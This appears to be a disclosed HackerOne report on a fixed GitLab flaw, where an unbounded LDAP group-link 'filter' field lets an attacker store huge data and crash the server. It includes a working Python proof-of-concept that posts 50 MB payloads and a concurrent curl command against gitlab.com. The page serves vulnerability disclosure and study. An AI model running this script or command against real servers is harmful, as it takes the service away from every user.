Unbounded "filter" Field in LDAP Group Links Allows Server Crash
The LDAP group links filter field in GitLab accepts unbounded input, allowing an attacker to inject arbitrarily large data that is stored in the database. This can cause resource exhaustion and crash the GitLab server, leading to a denial-of-service condition.
GitLab
Originally disclosed on GitLab
- Fixed in 44 days
- Disclosed after 44 days
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #3057494 by pwnie on 2025-03-25, assigned to @ameyadarshan:
Report | How To Reproduce
Report
Summary
The LDAP group links model in GitLab accepts an unbounded input in the filter field. An attacker can exploit this vulnerability by injecting an arbitrarily large amount of data, which is then reflected in the database. This can lead to resource exhaustion, causing the GitLab server to crash.
Steps to Reproduce
-
Data Injection:
Run the provided Python script 10 times with a 50 MB data payload. This script generates random base64 data and sends it to the vulnerable endpoint, filling the filter field with excessive data. -
Trigger the Crash:
Execute the following command (replaceNwith your group ID,glpatwith your private token, and adjust the host if needed):seq 100 | xargs -n1 -P20 -I{} curl --header "PRIVATE-TOKEN: glpat" "https://gitlab.com/api/v4/groups/N/ldap_group_links"This command sends concurrent requests to the endpoint, triggering the crash when the server attempts to process the oversized filter fields.
Impact
- Denial-of-Service (DoS): The vulnerability can be exploited to cause a complete server crash, resulting in a DoS condition.
- Stability & Availability: Injecting large amounts of data into the filter field can severely impact the server’s performance and availability, disrupting service for all users.
Proof-of-Concept Script
### !/usr/bin/env python3
import argparse
import os
import base64
import re
import requests
def generate_random_data(target_len):
data = ""
chunk_size = 1048576 # 1 MB
while len(data) < target_len:
random_bytes = os.urandom(chunk_size)
b64_str = base64.b64encode(random_bytes).decode("utf-8")
filtered = re.sub(r'[^A-Za-z0-9]', '', b64_str)
data += filtered
return data[:target_len]
def main():
parser = argparse.ArgumentParser(
description="Generate random base64 data for the 'filter' field and POST to a GitLab API endpoint."
)
parser.add_argument("mb", type=int, help="Size (in MB) for generating random data for the filter field")
parser.add_argument("--url", required=True, help="Base URL of the GitLab API (e.g., https://gitlab.com/api/v4)")
parser.add_argument("--token", required=True, help="Private token for authentication")
parser.add_argument("--group-id", required=True, help="Group ID to include in the API endpoint URL")
args = parser.parse_args()
target_len = args.mb * 1048576
random_data = generate_random_data(target_len)
payload = {
"group_access": 40,
"provider": "a",
"filter": "hi=" + random_data
}
headers = {
"PRIVATE-TOKEN": args.token,
"Content-Type": "application/json"
}
# Construct the endpoint URL using the provided base URL and group ID
url = args.url.rstrip('/') + f"/api/v4/groups/{args.group_id}/ldap_group_links"
response = requests.post(url, headers=headers, json=payload)
print("Status Code:", response.status_code)
print("Response:", response.text)
if __name__ == "__main__":
main()
Conclusion
The vulnerability in the LDAP group links' filter field allows an attacker to send an unbounded amount of data, leading to a potential server crash and DoS condition. Proper input validation and field size restrictions should be implemented to prevent such attacks.
Impact
- Denial-of-Service (DoS): The vulnerability can be exploited to cause a complete server crash, resulting in a DoS condition.
- Stability & Availability: Injecting large amounts of data into the filter field can severely impact the server’s performance and availability, disrupting service for all users.
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application does not enforce a maximum length on the filter field before storing it in the database.
Impact
The vulnerability can be exploited to cause a complete server crash, resulting in a denial-of-service condition that disrupts service for all users.
What the attacker needed
A valid private token; access to the LDAP group links endpoint
The fix
Proper input validation and field size restrictions should be implemented to prevent such attacks.
How it was found
- Run a script that generates random base64 data and sends it to the vulnerable endpoint, filling the filter field with excessive data.
- Execute a command that sends concurrent requests to the endpoint, triggering the crash when the server attempts to process the oversized filter fields.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A part of GitLab that manages LDAP group links does not limit how much text you can put in a certain field called 'filter'. An attacker with a valid account can send a huge amount of text to that field, which gets saved in the database. This can use up all the server's resources and make GitLab crash, so nobody can use it.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.